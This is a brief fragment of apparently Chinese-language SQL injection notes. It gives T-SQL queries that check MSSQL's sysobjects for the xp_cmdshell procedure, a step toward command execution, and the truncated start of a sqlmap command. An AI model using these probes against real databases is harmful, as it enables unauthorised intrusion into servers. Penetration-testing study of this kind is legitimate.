sql注入select * from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’ // 存在返回1 python .\sqlmap.py -r .\po...